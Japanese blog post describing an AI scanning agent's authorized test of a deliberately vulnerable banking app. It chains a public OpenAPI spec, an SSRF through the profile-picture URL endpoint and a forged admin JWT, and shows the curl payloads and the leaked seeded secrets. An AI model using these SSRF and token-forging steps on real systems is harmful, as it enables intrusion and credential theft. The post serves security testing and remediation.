Scanは、&lt;code&gt;/static/openapi.json&lt;/code&gt;に誰でも読み取れるOpenAPI仕様を発見し、重大度を「中」と評価しました。ドキュメントであり、認証情報は含まれていないためです。その後、このドキュメントをインベントリとして読み解き、それをたどって2件のクリティカルな検出結果、有効なデータベース認証情報一式、そして偽造された管理者セッションにまで到達しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;クロスレイヤー攻撃経路とは何か。&lt;/strong&gt;クロスレイヤー攻撃経路とは、アプリケーションのあるレイヤーで露出したアーティファクト（ビルドファイル、静的アセット、クライアントバンドルなど）が、別のレイヤー（通常はバックエンド）の弱点に到達するために必要なものを提供してしまう経路のことです。そのアーティファクト自体は脆弱性でないことも多く、その価値は、別のものをテストする際の当て推量をなくしてくれる点にあります。&lt;/p&gt;
&lt;h2 id="エグゼクティブサマリー(tl;dr)"&gt;エグゼクティブサマリー（TL;DR）&lt;/h2&gt;
&lt;p&gt;この仕様に記載されたエンドポイントのうち、重要だったのは2つです。&lt;code&gt;/internal/secret&lt;/code&gt;はアプリケーションのシークレットを返しますが、サーバー自身以外からのアクセスはすべて拒否し、直接のリクエストには&lt;code&gt;HTTP 403 Internal resource. Loopback only.&lt;/code&gt;と応答します。&lt;code&gt;/upload_profile_picture_url&lt;/code&gt;はURLを受け取り、サーバーサイドでそれを取得します。&lt;/p&gt;
&lt;p&gt;後者の宛先を前者に向けることで、ループバック制限を破るのではなく、その条件を満たすことができました。レスポンスにはアプリケーションの署名鍵、JWTシークレット、データベースの認証情報が含まれていました。さらに、漏えいした署名鍵を使って、アプリケーションが受け入れる管理者トークンが発行されました。&lt;/p&gt;
&lt;h3 id="テスト環境と手法"&gt;テスト環境と手法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;このウォークスルーは、承認を得たうえで実施した、シミュレーションによるベンチマーク演習を記録したものです。&lt;/strong&gt;すべてのテストは、セキュリティ研究とツール評価のために公開・維持されている意図的に脆弱な銀行アプリケーション&lt;code&gt;vulnbank.org&lt;/code&gt;に対して、Ostorlab Agentic Deep Scanが実施しました。本番システム、実際の顧客データ、サードパーティのアセットは一切関与しておらず、以下に示す認証情報はすべて、そのサンドボックスに属するシード済みのテスト値です。&lt;/p&gt;
&lt;h2 id="スキャナーが仕様の段階で止まる理由"&gt;スキャナーが仕様の段階で止まる理由&lt;/h2&gt;
&lt;p&gt;シグネチャベースのツールは、既知の不正パターンのライブラリに照らして、リクエストを一つずつ評価します。この基本的な仕組みは高速かつ決定的ですが、ルールをいくら追加しても埋まらない構造的な盲点が3つあります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;限界&lt;/th&gt;
&lt;th style="text-align: left;"&gt;起きる理由&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ここで見逃すもの&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;リクエスト間で状態を持たない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エンドポイントはリクエストごとに個別に評価される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同じファイルに記載された2つのエンドポイントが組み合わさってバイパスになること&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;目的という概念がない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ルールが表現するのは構文であり、機能が何を&lt;em&gt;するか&lt;/em&gt;に対して、何の&lt;em&gt;ためにあるか&lt;/em&gt;ではない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロフィール画像のアップローダーが、サーバーの立場から見ればリクエスト生成器であること&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;制御が機能しているとテストが終わる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;正しい&lt;code&gt;403&lt;/code&gt;は否定的な結果として記録され、そのエンドポイントは対象から外される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;その制御が、別の手段で到達できるかもしれない許可された主体を名指ししていること&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの動作は、個々に見ればいずれも正しいものです。仕様を取得してもシグネチャには一致しません。&lt;code&gt;/internal/secret&lt;/code&gt;を調べると、本物の&lt;code&gt;403&lt;/code&gt;が返ります。どちらの観察も間違ってはおらず、どちらも検出結果を生みません。&lt;/p&gt;
&lt;h2 id="エージェントは何が違うのか"&gt;エージェントは何が違うのか&lt;/h2&gt;
&lt;p&gt;Ostorlab Agentic Deep Scanは、脆弱性を発見して検証するために、5つのステップからなる推論ループを継続的に実行します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;偵察&lt;/strong&gt;：アタックサーフェスを把握する。エンドポイント、パラメーター、認証要件、露出したアーティファクト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;仮説&lt;/strong&gt;：観察した内容をもとに、何が問題になり得るかを推論する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト&lt;/strong&gt;：仮説を実証または反証するリクエストを送信する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証&lt;/strong&gt;：示唆的なレスポンスではなく、実際の影響を確認する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;連鎖&lt;/strong&gt;：この結果を、すでに見つかったものと組み合わせることで、まだ試していない経路が開けるかどうかを問う&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;違いを生むのはステップ2と5です。&lt;/strong&gt;シグネチャベースのスキャナーにはステップ3があり、ステップ4も弱い形で備えています。機能が何のためにあるかについて仮説を立てることはなく、現在の結果と組み合わせるための過去の検出結果のモデルも保持しません。エージェントは、アプリケーションについて、見たもの、除外したもの、まだ説明のつかないものを記録したインベントリを継続的に保持し、新しい結果が届くたびにそれを参照します。以下のチェーンは、すべてステップ5の中で生まれたものです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="実際の動き:agentic deep scanが発見したチェーン"&gt;実際の動き：Agentic Deep Scanが発見したチェーン&lt;/h2&gt;
&lt;h3 id="検出結果 #1(中):openapi仕様が公開アクセス可能"&gt;検出結果 #1（中）：OpenAPI仕様が公開アクセス可能&lt;/h3&gt;
&lt;p&gt;このアプリケーションは、公開されている静的アセットのディレクトリから、完全なOpenAPI 3.0ドキュメントを配信していました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;https://vulnbank.org/static/openapi.json&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="m"&gt;1471&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-I&lt;span class="w"&gt; &lt;/span&gt;https://vulnbank.org/static/openapi.json
HTTP/2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;
content-type:&lt;span class="w"&gt; &lt;/span&gt;application/json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;認証は不要で、パスは予測可能です。1,471行にわたり、32のエンドポイントがそのスキーマとルートごとの認証要件とともに記述されていました。&lt;code&gt;/static/&lt;/code&gt;はフロントエンドがスタイルシートや画像を置く場所であり、バックエンドの契約を置く場所ではありません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの検出結果画面。「OpenAPI Specification Publicly Accessible - Information Disclosure」が重大度「中」、チケットostoraa-26070として表示され、根本原因が/static/openapi.jsonにあること、および1,471行のAPI仕様を返すcurlコマンドが示されている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/01-openapi-spec-finding.png" title="最初の検出結果：誰でも読み取れるAPI仕様"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;最初の検出結果：誰でも読み取れるAPI仕様&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：重大度は「中」と評価されており、それ自体としては正しい評価です。検出結果の説明自体が、すでにその帰結を指摘しています。この仕様は「&lt;code&gt;/sup3r_s3cr3t_admin&lt;/code&gt;のような、本来なら大規模なクローリングをしなければ発見できない機密性の高いエンドポイントの存在を明らかにしてしまう」のです。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;これを列挙すると、1,471行が構造化されたアタックサーフェスに変わりました。その中には、アプリケーションがどこからもリンクしていないルートも含まれています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;カテゴリ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;エンドポイント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;認証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/login&lt;/code&gt;, &lt;code&gt;/register&lt;/code&gt;, &lt;code&gt;/api/v1/forgot-password&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;取引&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/transfer&lt;/code&gt;, &lt;code&gt;/transactions/{account_number}&lt;/code&gt;, &lt;code&gt;/check_balance&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;管理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/sup3r_s3cr3t_admin&lt;/code&gt;, &lt;code&gt;/admin/create_admin&lt;/code&gt;, &lt;code&gt;/admin/delete_account/{user_id}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;内部&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/internal/config.json&lt;/code&gt;, &lt;code&gt;/internal/secret&lt;/code&gt;, &lt;code&gt;/latest/meta-data/*&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ファイルアップロード&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/upload_profile_picture&lt;/code&gt;, &lt;code&gt;/upload_profile_picture_url&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OpenAPIの検出結果に含まれる悪用のエビデンス。jqによる.pathsと.components.schemasの列挙、エンドポイントの発見からGraphQLのイントロスペクションまでを挙げた攻撃シナリオ、そして1,471行が認証なしでアクセス可能であることを確認した検証エビデンスが示されている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/02-endpoint-enumeration.png" title="エンドポイントのインベントリとして解析された仕様"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エンドポイントのインベントリとして解析された仕様&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：インベントリとして解析された仕様。価値があるのは個々のパスではなく、アタックサーフェス全体を一度に把握できることです。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;明白な仮説と、その正しい反証。&lt;/strong&gt;&lt;code&gt;/internal/secret&lt;/code&gt;は自らの存在を示していたため、エージェントはそれをリクエストしました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;https://vulnbank.org/internal/secret
HTTP/2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;403&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Internal resource. Loopback only."&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;拒否され、しかもその拒否は正しいものでした。このエンドポイントはリクエストの送信元を確認し、マシン自身にしか応答しません。エンドポイントを個別にテストするツールにとっては、ここで行き止まりです。仮説は反証され、制御は健全なので、次に進みます。&lt;/p&gt;
&lt;h3 id="検出結果 #2(クリティカル):プロフィール画像のアップロードを介したssrf"&gt;検出結果 #2（クリティカル）：プロフィール画像のアップロードを介したSSRF&lt;/h3&gt;
&lt;p&gt;実りのある問いは、ループバックのチェックをどう破るかではなく、誰ならその条件を満たせるか、そしてその主体に行動させることができるか、でした。&lt;/p&gt;
&lt;p&gt;ループバックとはサーバーのことです。インベントリのうち、ファイルアップロードに分類された1行は、要求に応じてサーバーに外向きのリクエストを発行させる機能を記述していました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;https://vulnbank.org/upload_profile_picture_url&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;JWT&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"image_url": "http://127.0.0.1:5000/internal/secret"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これでリクエストの送信元は&lt;code&gt;127.0.0.1&lt;/code&gt;になります。ループバックのチェックは通過します。回避されたのではなく、本当に条件が満たされたのです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの検出結果画面。「SSRF via Profile Picture Upload Allows Internal Resource Access and Sensitive Data Exfiltration」が重大度「クリティカル」、チケットostoraa-26090として表示され、脆弱なコードのブロックには「# From OpenAPI spec analysis」という注記が付いている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/03-ssrf-finding.png" title="仕様までさかのぼれるピボット"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;仕様までさかのぼれるピボット&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：この検出結果は、コードブロックの1行目に自らの出所を記録しています。&lt;code&gt;# From OpenAPI spec analysis&lt;/code&gt;です。&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"secrets"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"app_secret_key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"secret123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"jwt_secret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"secret123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"env_preview"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"DB_HOST"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"db"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"DB_NAME"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vulnerable_bank"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"DB_USER"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postgres"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"DB_PASSWORD"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postgres"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"DEEPSEEK_API_KEY"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sk-e2719..."&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="SSRFの検出結果に含まれる悪用のエビデンス。テストアカウントの登録、/upload_profile_picture_urlへのPOST（image_url: http://127.0.0.1:5000/internal/secret, を指定）、そしてapp_secret_key、jwt_secret、データベースの認証情報、サードパーティのAPIキーを含む、窃取されたペイロードの原文が示されている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/04-ssrf-exploitation-secrets.png" title="登録から認証情報まで、3つのリクエスト"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;登録から認証情報まで、3つのリクエスト&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図4：記録されたとおりの一連の流れ。登録、ピボット、窃取。ペイロードは要約されず、原文のまま取得されています。&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="検出結果 #3(クリティカル):保護されていない/internal/secretを介した機密データの露出"&gt;検出結果 #3（クリティカル）：保護されていない&lt;code&gt;/internal/secret&lt;/code&gt;を介した機密データの露出&lt;/h3&gt;
&lt;p&gt;示唆的なレスポンスが一つあるだけでは検出結果にはなりません。そこで、この経路を再実行し、挙動が再現可能であり、値が本物であることを確認しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;検証試行1&lt;/strong&gt;：&lt;code&gt;/upload_profile_picture_url&lt;/code&gt;を介した&lt;code&gt;http://127.0.0.1:5000/internal/secret&lt;/code&gt;へのSSRFリクエストが、シークレットのペイロード全体を返した
&lt;strong&gt;検証試行2&lt;/strong&gt;：認証情報を確認。App Secret=&lt;code&gt;secret123&lt;/code&gt;、JWT Secret=&lt;code&gt;secret123&lt;/code&gt;、DB認証情報=&lt;code&gt;postgres/postgres&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2行目こそが、レスポンスを影響の記述へと変えるものです。そして実行はペイロードを読むだけでは終わりませんでした。漏えいした&lt;code&gt;jwt_secret&lt;/code&gt;を使って&lt;code&gt;{"user_id": 1, "username": "admin", "is_admin": true}&lt;/code&gt;を主張するトークンに署名し、それを、ステップ1で仕様が明らかにしていた管理者用ルートに提示しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;GET&lt;span class="w"&gt; &lt;/span&gt;https://vulnbank.org/sup3r_s3cr3t_admin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;token forged with secret123&amp;gt;"&lt;/span&gt;
HTTP/2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# full admin panel&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;シークレットは単に通信途中で観察されたのではありません。アプリケーションが受け入れる認証情報の発行に使われました。これが、漏えいした文字列と認証バイパスとの違いです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの検出結果画面。「Sensitive Data Exposure via Unprotected /internal/secret Endpoint」が重大度「クリティカル」、チケットostoraa-26091として表示され、SSRFと組み合わせることで到達可能な、平文のデータベース認証情報、JWTの署名シークレット、サードパーティのAPIキーについて説明している。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/05-internal-secret-critical.png" title="クリティカル：403を返したエンドポイントの内容をすべて取得"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;クリティカル：403を返したエンドポイントの内容をすべて取得&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図5：説明は依存関係をはっきりと述べています。「Combined with the SSRF vulnerability」（SSRFの脆弱性と組み合わせることで）。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="同じ検出結果の「Vulnerable Code」と「Exploitation Evidence」。SSRFの経路となるエンドポイント、/internal/secretへの直接のGETがHTTP 403「Internal resource. Loopback only.」を返す「Protected but Bypassable Endpoint」のブロック、そして登録、SSRFによるピボット、窃取されたシークレットのペイロードという3段階の流れが示されている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/06-loopback-control-and-bypass.png" title="制御とそれを迂回する経路を、まとめて記録"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;制御とそれを迂回する経路を、まとめて記録&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図6：制御とそのバイパスを一つの画面で。403は本物です。それを破ったのは、そのチェックへの攻撃ではなく、同じ仕様に記載された2つ目のエンドポイントでした。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="チェーンを読み解く"&gt;チェーンを読み解く&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;ステップ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検出結果&lt;/th&gt;
&lt;th style="text-align: left;"&gt;重大度&lt;/th&gt;
&lt;th style="text-align: left;"&gt;提供元&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;OpenAPI仕様が公開配信されている&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デプロイ時のミス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロフィール画像URLの取得を介したSSRF&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;仕様に記載されたエンドポイント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;/internal/secret&lt;/code&gt;の内容の窃取&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同じ仕様に記載された標的に向けたSSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;漏えいしたJWTシークレットによる管理者セッションの偽造&lt;/td&gt;
&lt;td style="text-align: left;"&gt;#3の影響&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ステップ3の署名鍵を、ステップ1の管理者用ルートに対して使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;その大部分は機械的な作業です。静的ファイルの取得、JSONの解析、パスの列挙、それぞれへのリクエスト送信とステータスの記録は、いずれも推論なしに自動化できます。&lt;/p&gt;
&lt;p&gt;機械的でないステップは、1行目と2行目の間にあります。1行目はインベントリです。3行目は目的です。2行目はそのどちらでもありません。それは、「ファイルアップロード」に分類された機能が、サーバーの立場から見ればリクエスト生成器であること、そしてリクエスト生成器こそがループバック制限の求めるものであることに気づくことです。&lt;/p&gt;
&lt;p&gt;仕様のどこにもそうは書かれていません。ドキュメントは&lt;code&gt;/upload_profile_picture_url&lt;/code&gt;を画像のアップロードとして記述しています。それがこの機能の目的だからです。これをピボットとして読むには、無関係な2つの行を同時に念頭に置き、一方が他方に何をできるかを問う必要があります。&lt;/p&gt;
&lt;h2 id="重大度は実際にはどこにあるのか"&gt;重大度は実際にはどこにあるのか&lt;/h2&gt;
&lt;p&gt;2件のクリティカルがそこから派生している以上、仕様の露出の重大度を引き上げたくなるものです。しかしそれは誤った判断であり、エージェントもその判断はしませんでした。&lt;/p&gt;
&lt;p&gt;この仕様に記載されたエンドポイントの大半は問題ありませんでした。それらを列挙しても何も得られなかったのは、その制御が機能していたからです。&lt;code&gt;/internal/secret&lt;/code&gt;自体も、直接のアクセスには正しく&lt;code&gt;403&lt;/code&gt;を返していました。仕様がSSRFを生み出したわけではなく、ループバックのチェックを弱めたわけでもありません。&lt;/p&gt;
&lt;p&gt;変わったのは&lt;strong&gt;コスト&lt;/strong&gt;です。未知のAPIのアタックサーフェスを手探りで探す作業が、完全な地図をもとにした的を絞った作業に変わり、2つのエンドポイントの関係が一目でわかるようになりました。&lt;/p&gt;
&lt;p&gt;この違いが修復の方針を左右します。仕様を削除しても、SSRFは依然として機能し、ループバックのバイパスも依然として機能し、&lt;code&gt;/internal/secret&lt;/code&gt;は内部から到達できるあらゆるものに依然としてデータベースの認証情報を渡します。このドキュメントは公開されるべきではありません。しかし、それを修正して直るのは発見のしやすさであり、露出そのものではありません。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;露出したOpenAPI仕様はなぜセキュリティリスクになるのか。&lt;/strong&gt;認証情報が含まれていることはまれで、そのため単体で「中」より高く評価されることはほとんどありません。リスクは、インターフェースからリンクされていないルートも含めたエンドポイントの完全なインベントリが、パラメーターのスキーマやエンドポイントごとの認証要件とともに公開されてしまう点にあります。これにより、未知のAPIのアタックサーフェスを手探りで探す作業が、既知の地図をもとにした的を絞った作業に変わり、本来なら大規模なクローリングをしなければ見つからないエンドポイント間の関係が見えるようになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSRFはどのようにしてループバック専用の制限をバイパスするのか。&lt;/strong&gt;バイパスするのではなく、条件を満たすのです。ループバックに制限されたエンドポイントは、リクエストの送信元を確認し、サーバー自身にしか応答しません。サーバーサイドリクエストフォージェリ（SSRF）の脆弱性があると、攻撃者は&lt;em&gt;サーバー&lt;/em&gt;が取得するURLを指定できるため、その結果として生じるリクエストは本当に&lt;code&gt;127.0.0.1&lt;/code&gt;から発信されます。制御は正しく評価を行い、それを許可します。そのため、同じアプリケーション内のいずれかのエンドポイントがユーザーから渡されたURLを取得する場合、ループバック制限だけでは不十分なのです。&lt;/p&gt;
